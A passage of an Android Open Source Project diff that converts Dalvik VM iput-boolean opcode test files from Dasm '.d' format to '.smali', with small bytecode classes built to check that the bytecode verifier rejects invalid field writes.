+# limitations under the License.
+
+.source "T_iput_boolean_14.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_14;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d
deleted file mode 100644
index 605fab5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_15.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_15
-.super dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_pvt1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali
new file mode 100644
index 0000000..6e40a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_15.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_15;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d
deleted file mode 100644
index 2d0e858..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_17.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_17.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali
new file mode 100644
index 0000000..f41ed61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_17.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d
deleted file mode 100644
index 5ca6791..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_18.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali
new file mode 100644
index 0000000..69ce754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_18.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d
deleted file mode 100644
index aed12db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_19.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_19
-.super java/lang/Object
-
-.field public  st_f1 F
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_19.st_f1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali
new file mode 100644
index 0000000..4620179
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_19;
+.super Ljava/lang/Object;
+.source "T_iput_boolean_19.java"
+
+
+# instance fields
+.field public st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    iput-boolean v1, p0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d
deleted file mode 100644
index 20ba2cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_2.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_2
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-boolean v0, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali
new file mode 100644
index 0000000..c54594f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_2.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-boolean v0, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d
deleted file mode 100644
index b7bb68c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_20.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 0    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali
new file mode 100644
index 0000000..ca15f53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_20;
+.super Ljava/lang/Object;
+.source "T_iput_boolean_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const v0, 0x0
+
+    iput-boolean v0, p0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d
deleted file mode 100644
index a05e7d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_21.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali
new file mode 100644
index 0000000..33f1ed6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_21.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d
deleted file mode 100644
index 5953110..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_22.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali
new file mode 100644
index 0000000..a6f94cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_22.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d
deleted file mode 100644
index 3d51bf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_23.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali
new file mode 100644
index 0000000..65e1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_23.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d
deleted file mode 100644
index ccd56a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_24.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_24
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali
new file mode 100644
index 0000000..3a019c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_24.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d
deleted file mode 100644
index 864852f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_3.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_3
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-boolean v0, v3, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_3.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali
new file mode 100644
index 0000000..1151e7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
